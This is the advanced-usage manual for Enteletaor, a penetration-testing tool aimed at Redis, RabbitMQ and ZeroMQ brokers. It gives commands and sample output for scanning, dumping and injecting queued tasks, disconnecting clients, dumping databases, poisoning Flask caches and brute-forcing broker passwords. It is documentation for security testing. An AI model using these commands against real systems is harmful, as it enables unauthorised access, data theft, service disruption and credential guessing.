Advanced usage ============== Enteletaor implements some attacks and has many options to interact with different brokers: - Redis - RabbitMQ (of AMQP compabible) - ZeroMQ The tool also implements some specifics attacks for Redis server. This document try to collect this information. There are the 3 kind actions implemented: - Scanning - Redis actions - Tasks actions Scanner ------- Enteletaor implements a scanner that detects open brokers. The scanner is implemented in pure python, with no external dependecies, like ``nmap``. The reason to implement a native scanner is because in ``nmap`` v7 no all scripts that detects open services works. .. note:: You also can pass as target a domain, not only and IP. Custom ports ++++++++++++ As you can read in :doc:`quickstart` document, you can scan a single host or a network. Syntax is nmap-like. You can specify other ports that enteletaor default, using ``-p`` option: .. code-block:: bash # enteletaor scan -t 10.10.0.10/16 -p 5550,5551 Parallel scanning +++++++++++++++++ By default, enteletaor runs 20 concurrent scanning. Internally it's implemented with *greenlets* threads. It means that are not "real" Python threads. You can think about greenlets thread as a lightweight version of threads. I recommend to use 40 concurrent scanning threads. Don't worry for the overload of your system, green threads will made this possible without a hungry CPU process. To change concurrency, we use ``-c`` option: .. code-block:: bash # enteletaor scan -t 10.10.0.10/24 -c 40 Saving results ++++++++++++++ Enteletaor can export scan results as a JSON format, using ``--output`` option: .. code-block:: bash # enteletaor scan -t 10.10.0.10 --output results Or: .. code-block:: bash # enteletaor scan -t 10.10.0.10 --output results.json .. note:: If you don't indicate the file extension, enteletaor will add it for you. Company lookup ++++++++++++++ This is a bit strange option. Typing ``-o`` enteletaor will try to lookup the company name in RIPE and get all IP ranges registered for it, adding then to scanner. For example, if you try to get scan ``google.com`` it will 1465 new host: .. code-block:: bash # enteletaor -vvvv scan -t google.com -o [ * ] Starting Enteletaor execution [ * ] -> Detected registered network '80.239.142.192/26'. Added for scan. [ * ] -> Detected registered network '213.242.89.64/26'. Added for scan. [ * ] -> Detected registered network '92.45.86.16/28'. Added for scan. [ * ] -> Detected registered network '212.179.82.48/28'. Added for scan. [ * ] -> Detected registered network '217.163.1.64/26'. Added for scan. [ * ] -> Detected registered network '80.239.174.64/26'. Added for scan. [ * ] -> Detected registered network '213.253.9.128/26'. Added for scan. [ * ] -> Detected registered network '46.108.1.128/26'. Added for scan. [ * ] -> Detected registered network '213.248.112.64/26'. Added for scan. [ * ] -> Detected registered network '46.61.155.0/24'. Added for scan. [ * ] -> Detected registered network '95.167.107.32/27'. Added for scan. [ * ] -> Detected registered network '195.50.84.192/26'. Added for scan. [ * ] -> Detected registered network '80.239.168.192/26'. Added for scan. [ * ] -> Detected registered network '193.120.166.64/26'. Added for scan. [ * ] -> Detected registered network '213.155.151.128/26'. Added for scan. [ * ] -> Detected registered network '194.44.4.0/24'. Added for scan. [ * ] -> Detected registered network '80.239.229.192/26'. Added for scan. [ * ] -> Detected registered network '213.242.93.192/26'. Added for scan. [ * ] -> Detected registered network '195.100.224.112/28'. Added for scan. [ * ] -> Detected registered network '89.175.35.32/28'. Added for scan. [ * ] -> Detected registered network '89.175.165.0/28'. Added for scan. [ * ] -> Detected registered network '89.175.162.48/29'. Added for scan. [ * ] - Number of targets to analyze: 1465 [ * ] - Starting scan ... Tasks ----- Currently you can do 4 sub-actions for ``tasks`` command. All of these actions are available **only if broker is open**. An open broker means that not credential are needed for connect to. .. note:: But.. **what's a task?** Oks, no problem, let's see: When we use a process manager to handle background tasks they use an external communication system. This communication system usually is a broker. The processes managers need this communication systems to send the information to the runner. Each runner is waiting for new information to process, and the broker permit delegate the exchange problems. So, we call this in information a ``pending task``. This ``task`` is really some information waiting in the broker to be send to the runner. Listing remote tasks ++++++++++++++++++++ Basic usage ___________ If there are pending tasks in broker queue, we can analyze them. Enteletaor allow us to list all tasks found. Although there is more than one task of each type in queue, only the task definition is displayed: .. code-block:: bash # enteletaor -v tasks list-tasks -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] - Trying to connect with server... [ * ] - Remote process found: [ * ] -> tasks.sum (param_0:int, param_1:int) [ * ] -> tasks.send_mail (param_0:str, param_1:str, param_2:str) [ * ] Done! We can see that broker has 2 task definition stored: - tasks.sum - tasks.send_mail Export Template _______________ Enteletaor also permit inject new tasks to broker (see bellow). The way to inject them is to pass as input a JSON file with the information. Write this file must be a bit hard. To help us, enteletaor can export a template. With this template, we only must fill the appropriate fields: .. code-block:: bash :linenos: :emphasize-lines: 8 # enteletaor -v tasks list-task -t 10.10.0.10 -T my_template -F tasks.send_mail [ * ] Starting Enteletaor execution [ * ] - Trying to connect with server... [ * ] - Remote process found: [ * ] -> tasks.sum (param_0:int, param_1:int) [ * ] -> tasks.send_mail (param_0:str, param_1:str, param_2:str) [ * ] - Building template... [ * ] - Template saved at: '/Users/Dani/Documents/Projects/enteletaor/enteletaor_lib/my_template.json' [ * ] Done! # cat my_template.json [{"parameters": [{"param_position": 0, "param_value": null, "param_type": "str"}, {"param_position": 1, "param_value": null, "param_type": "str"}, {"param_position": 2, "param_value": null, "param_type": "str"}], "function": "tasks.send_mail"}] In this example only export the function ``tasks.send_mail``. Removing tasks ++++++++++++++ We also can remove **all** pending task from the broker queue. It's so simple: .. code-block:: bash # enteletaor tasks remove -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] - Trying to connect with server... [ * ] - All tasks removed from '10.10.0.10' [ * ] Done! Dumping tasks content +++++++++++++++++++++ Basic usage ___________ We can dump the content of tasks simply using ``raw-dump` sub-command: .. code-block:: bash # enteletaor tasks raw-dump -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] - Trying to connect with server... [ * ] Found process information: [ * ] - Remote tasks name: 'tasks.sum' [ * ] - Input parameters: [ * ] -> P0: 1 [ * ] -> P1: 0 [ * ] Found process information: [ * ] - Remote tasks name: 'tasks.send_mail' [ * ] - Input parameters: [ * ] -> P0: marquerite@cordell.com [ * ] -> P1: Can You Afford? [ * ] -> P2: Axis alliance with Italy and Japan. [ * ] Found process information: [ * ] - Remote tasks name: 'tasks.send_mail' [ * ] - Input parameters: [ * ] -> P0: amie@cordell.com [ * ] -> P1: Read your review for John Mulaney You're missing out on points Not Cool, Guys DO NOT Commit These Instagram Atrocities [ * ] -> P2: Molotov–Ribbentrop Pact of August 1939, Germany and subsequent declarations of war in Europe concluded with an invasion of Poland by Germany and the subsequent German unconditional surrender on 8 May 1945. [ * ] Found process information: [ * ] - Remote tasks name: 'tasks.send_mail' [ * ] - Input parameters: [ * ] -> P0: willard@cordell.com [ * ] -> P1: Wish What are our customers saying? [ * ] -> P2: In June 1941, the European Axis powers and the coalition of the world. [ * ] -> No more messages from server. Exiting... [ * ] Done! Streaming mode ______________ Some times we could want listen new messages available in broker in real time . If we use ``--streaming`` option, enteletaor will wait for new messages: .. code-block:: bash :linenos: :emphasize-lines: 17-20 # enteletaor tasks raw-dump -t 10.10.0.10 --streaming [ * ] Starting Enteletaor execution [ * ] - Trying to connect with server... [ * ] Found process information: [ * ] - Remote tasks name: 'tasks.send_mail' [ * ] - Input parameters: [ * ] -> P0: aletha@cordell.com [ * ] -> P1: Best of Groupon: The Deals That Make Us Proud (Unlike Our Nephew, Steve) Happy Birthday Lindsay - Surprise Inside! [ * ] -> P2: Berlin by Soviet and Polish troops and the refusal of Japan to surrender under its terms, the United States dropped atomic bombs on the Eastern Front, the Allied invasion of Poland by Germany and the Axis. [ * ] Found process information: [ * ] - Remote tasks name: 'tasks.send_mail' [ * ] - Input parameters: [ * ] -> P0: amie@cordell.com [ * ] -> P1: Read your review for John Mulaney You're missing out on points Not Cool, Guys DO NOT Commit These Instagram Atrocities [ * ] -> P2: Molotov–Ribbentrop Pact of August 1939, Germany and subsequent declarations of war in Europe concluded with an invasion of Poland by Germany and the subsequent German unconditional surrender on 8 May 1945. [ * ] -> P2: In June 1941, the European Axis powers and the coalition of the world. [ * ] -> No more messages from server. Waiting for 4 seconds and try again.. [ * ] -> No more messages from server. Waiting for 4 seconds and try again.. [ * ] -> No more messages from server. Waiting for 4 seconds and try again.. [ * ] -> No more messages from server. Waiting for 4 seconds and try again.. Output file ___________ We can export results to CSV file using ``--output`` option. The reason to choose this format is because it permit real-time reading. In other words: Imagine you want to put enteletaor in streaming mode and, at the same time, put another process to read the information from export file, CSV allow this because each line is independent of others. Enteletaor writes in CSV as *append* mode, so it will not overwriting old file content: .. code-block:: bash # enteletaor tasks raw-dump -t 10.10.0.10 --streaming --output dumped_server_file And, in other console, we can write: .. code-block:: bash # tail -f dumped_server_file.csv .. note:: If not extension provided, enteletaor automatically add .csv Inject new tasks ++++++++++++++++ Finally, enteletaor permit us to inject new tasks to the broker flow. The injection only accept one parameter: ``-f`` (``--function-file``). This parameter need a JSON as input file with the function parameters. Do you remember `Export template`_ option of the list-tasks sub-command? One we have the JSON file, we can inject the new process: .. code-block:: bash # enteletaor tasks inject -f my_template.json [ * ] Starting Enteletaor execution [ * ] - Building process... [ * ] - Trying to connect with server... [ * ] - Sending processes to '10.10.0.10' [ * ] 1) tasks.send_mail [ * ] Done! Redis ----- Redis is a power full and versatile server. It can act as: - Key-value database - Broker - Cache - ... So, it has it own command and actions: Getting info ++++++++++++ This action was explained in :doc:`quickstart` document. Listing connected users +++++++++++++++++++++++ This action was explained in :doc:`quickstart` document. Disconnecting users +++++++++++++++++++ We not only can show all connected users, also can disconnect them. To do that we can use the sub-command ``disconnect``. Disconnect one user ___________________ This command need as input the client to disconnect. Client must be as format: IP:PORT, as ``connected`` command displays. .. code-block:: bash :linenos: :emphasize-lines: 7,13 # enteletaor redis connected -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] Connected users to '10.10.0.10': [ * ] - 10.10.0.2:52748 (DB: 0) [ * ] - 10.10.0.2:52749 (DB: 0) [ * ] - 10.10.0.2:52752 (DB: 0) [ * ] - 127.0.0.1:42262 (DB: 0) [ * ] - 10.10.0.2:51200 (DB: 0) [ * ] Done! # enteletaor redis disconnect -t 10.10.0.10 -c 127.0.0.1:42262 [ * ] Starting Enteletaor execution [ * ] - Client '127.0.0.1:42264' was disconnected [ * ] Done! Disconnect all users ____________________ If you want to disconnect all connected users, enteletaor has the shortcut ``--all``: .. code-block:: bash # enteletaor redis disconnect -t 10.10.0.10 --all Discovering DBs +++++++++++++++ By default Redis has 16 databases, but you can add as many as you need. If the database used by the remote server is different to 0 (default database) and you need to discover them, you can use ``discover-dbs``: .. code-block:: bash # enteletaor redis discover-dbs -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] Discovered '10.10.0.10' DBs at '16': [ * ] - DB0 - 4 keys [ * ] - DB1 - Empty [ * ] - DB2 - Empty [ * ] - DB3 - Empty [ * ] - DB4 - Empty [ * ] - DB5 - Empty [ * ] - DB6 - Empty [ * ] - DB7 - Empty [ * ] - DB8 - Empty [ * ] - DB9 - Empty [ * ] - DB10 - Empty [ * ] - DB11 - Empty [ * ] - DB12 - Empty [ * ] - DB13 - Empty [ * ] - DB14 - Empty [ * ] Done! Dumping information +++++++++++++++++++ Basic usage ___________ One of more interesting thing is display information stored in redis and has the possibility to export it. ``dump`` sub-command permit that: .. code-block:: bash # enteletaor redis dump -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] - Trying to connect with redis server... [ * ] "b'unacked'": [ * ] { [ * ] "b'a3b415a9-2ce1-4386-b104-94b9a38aee73'": [ * ] { [ * ] "content-encoding": "b'binary'" [ * ] "properties": [ * ] { [ * ] "body_encoding": "b'base64'" [ * ] "delivery_mode": "2" [ * ] "delivery_info": [ * ] { [ * ] "priority": "0" [ * ] "exchange": "b'celery'" [ * ] "routing_key": "b'celery'" [ * ] } [ * ] "delivery_tag": [ * ] { [ * ] "delivery_tag": "b'a3b415a9-2ce1-4386-b104-94b9a38aee73'" [ * ] } [ * ] "headers": [ * ] { [ * ] } [ * ] "body": [ * ] { [ * ] "chord": "None" [ * ] "retries": "0" [ * ] "kwargs": [ * ] { [ * ] } [ * ] "task": "b'tasks.send_mail'" [ * ] "errbacks": "None" [ * ] "taskset": "None" [ * ] "timelimit": "(None, None)" [ * ] "callbacks": "None" [ * ] "eta": "None" [ * ] "id": [ * ] { [ * ] "id": "b'8d772bd5-7f2c-4bef-bc74-aa582aaf0520'" [ * ] "expires": "None" [ * ] "utc": "True" [ * ] "args": "('leatha@elidia.com', 'Guys DO NOT Commit These Instagram Atrocities 10 Engagement Tips to Gobble Over Thanksgiving Buffer has been hacked - here', 'Declaration by the Western Allies and the refusal of Japan to surrender under its terms, the United States emerged as an effort to end pre-war enmities and to create a common identity.')" [ * ] } [ * ] "content-type": [ * ] { [ * ] "content-type": "b'application/x-python-serialize'" [ * ] } [ * ] Done! Exporting results _________________ Don't worry if above console output is a bit heavy, we can export results to a JSON file using ``-e`` (``--export-results``): .. code-block:: bash # enteletaor redis dump -t 10.10.0.10 -e dumped_info [ * ] Starting Enteletaor execution [ * ] - Trying to connect with redis server... [ * ] - Storing information into 'results.json' [ * ] "b'unacked'": [ * ] { [ * ] "b'a3b415a9-2ce1-4386-b104-94b9a38aee73'": [ * ] { [ * ] "content-encoding": "b'binary'" [ * ] "properties": [ * ] { [ * ] "body_encoding": "b'base64'" [ * ] "delivery_mode": "2" [ * ] "delivery_info": [ * ] { [ * ] "priority": "0" [ * ] "exchange": "b'celery'" [ * ] "routing_key": "b'celery'" [ * ] } [ * ] "delivery_tag": [ * ] { [ * ] "delivery_tag": "b'a3b415a9-2ce1-4386-b104-94b9a38aee73'" [ * ] } [ * ] "headers": [ * ] { [ * ] } [ * ] "body": [ * ] { [ * ] "chord": "None" [ * ] "retries": "0" [ * ] "kwargs": [ * ] { [ * ] } [ * ] "task": "b'tasks.send_mail'" [ * ] "errbacks": "None" [ * ] "taskset": "None" [ * ] "timelimit": "(None, None)" [ * ] "callbacks": "None" [ * ] "eta": "None" [ * ] "id": [ * ] { [ * ] "id": "b'8d772bd5-7f2c-4bef-bc74-aa582aaf0520'" [ * ] "expires": "None" [ * ] "utc": "True" [ * ] "args": "('leatha@elidia.com', 'Guys DO NOT Commit These Instagram Atrocities 10 Engagement Tips to Gobble Over Thanksgiving Buffer has been hacked - here', 'Declaration by the Western Allies and the refusal of Japan to surrender under its terms, the United States emerged as an effort to end pre-war enmities and to create a common identity.')" [ * ] } [ * ] "content-type": [ * ] { [ * ] "content-type": "b'application/x-python-serialize'" [ * ] } [ * ] Done! .. note:: We don't need to put the extension .json to file. If extension is missing, enteletaor will add it. Hide screen output __________________ If you don't want to display information into screen (useful when Redis contains a lot of information) using ``--no-screen`` option: .. code-block:: bash # enteletaor redis dump -t 10.10.0.10 -e dumped_info --no-screen [ * ] Starting Enteletaor execution [ * ] - Trying to connect with redis server... [ * ] - Storing information into 'results.json' [ * ] Done! Handling cache ++++++++++++++ Redis is commonly used as a centralized cache system. We can handle this cache stored in it. Finding cache keys __________________ First step is find possible cache keys in Redis. Enteletaor has the option ``--search`` that will try to find this keys: .. code-block:: bash # enteletaor redis cache -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] Looking for caches in '10.10.0.10'... [ * ] - Possible cache found in key: 'flask_cache_view//' [ * ] Done! Dumping all cache keys ______________________ If we want to dump, as raw-way, possible cache keys (not only locate) we omit the option ``--search``: .. code-block:: bash # enteletaor redis cache -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] - Listing cache information: [ * ] -> Key: 'flask_cache_view//' [ * ] -> Content: !X ... [ * ] Done! Dumping specific cache key __________________________ We can dump only an specific key: .. code-block:: bash # enteletaor redis cache -t 10.10.0.10 --cache-key "flask_cache_view//" [ * ] Starting Enteletaor execution [ * ] - Listing cache information: [ * ] -> Key: 'flask_cache_view//' [ * ] -> Content: !X ... [ * ] Done! Basic cache poisoning _____________________ Enteletaor permit us to poison the cache. To enable the cache poisoning we need to enable it with option ``-P``. By default, enteletaor will try to inject an HTML " [ * ] Starting Enteletaor execution [ * ] - Poisoning enabled [ * ] - Poisoned cache key 'b'flask_cache_view//'' at server '10.10.0.10' [ * ] Done! **Using file**: .. code-block:: bash # echo "" > my_payload.txt # enteletaor redis cache -P -t 10.10.0.10 --file-payload my_payload.txt [ * ] Starting Enteletaor execution [ * ] - Poisoning enabled [ * ] - Poisoned cache key 'b'flask_cache_view//'' at server '10.10.0.10' [ * ] Done! Replace cache content _____________________ Finally, we can replace entire content of cache key using option ``--replace-html``: .. code-block:: bash # echo "Replaced content

Say cheeeeers again :)

" > new_html.html # enteletaor redis cache -P -t 10.10.0.10 --replace-html new_html.html [ * ] Starting Enteletaor execution [ * ] - Poisoning enabled [ * ] - Poisoned cache key 'flask_cache_view//' at server '10.10.0.10' [ * ] Done! Password brute forcer --------------------- Listing wordlist ++++++++++++++++ Enteletaor has some wordlist embedded. If you want to show them, you must write: .. code-block:: bash # enteletaor brute wordlist [ * ] Starting Enteletaor execution [ * ] - Available wordlists: [ * ] > 10_million_password_list_top_100 [ * ] > 10_million_password_list_top_1000 [ * ] > 10_million_password_list_top_10000 [ * ] > 10_million_password_list_top_100000 [ * ] Done! The wordlist names could be used as input for the password module. Discovering passwords +++++++++++++++++++++ We can try to discover remote passwords using enteletaor. To do this, we need a wordlist with passwords that we want to test. If we don't have any wordlist we can use one of embedded. Basic usage ___________ Using default options, enteletaor se the wordlist ``10_million_password_list_top_1000``. .. code-block:: bash # enteletaor brute password -t 10.10.0.10 [ * ] Starting Enteletaor execution [ * ] - Detected 'Redis' server with 'auth'. [ * ] - Starting bruteforcer using wordlist : '/Users/Dani/Documents/Projects/enteletaor/enteletaor_lib/resources/wordlist/10_million_password_list_top_1000.txt' [ * ] Done! .. note:: We also can set remote server port using option ``-p``. Specifying wordlist ___________________ We can set an external wordlist, with the option ``-w``. .. code-block:: bash # enteletaor brute password -t 10.10.0.10 -w /home/user/my_wordlist.txt Or use a different embedded: .. code-block:: bash # enteletaor brute password -t 10.10.0.10 -w 10_million_password_list_top_100000 Setting concurrency ___________________ We also can specify the number os concurrent test we want to do, using option ``-c``. .. code-block:: bash # enteletaor brute password -t 10.10.0.10 -w 10_million_password_list_top_100000 -c 20 Setting remote user ___________________ Currently enteletaor doesn't support brute forcer for users, so for servers that need user/password we must set the **user**, using option ``-u``: .. code-block:: bash # enteletaor brute password -t 10.10.0.10 -p 5672 -u admin [ * ] Starting Enteletaor execution [ * ] - Detected 'RabbitMQ' server with 'auth'. [ * ] - Set user to 'admin' [ * ] - Starting bruteforcer using wordlist : '/Users/Dani/Documents/Projects/enteletaor/enteletaor_lib/resources/wordlist/10_million_password_list_top_1000.txt' [ * ] Done!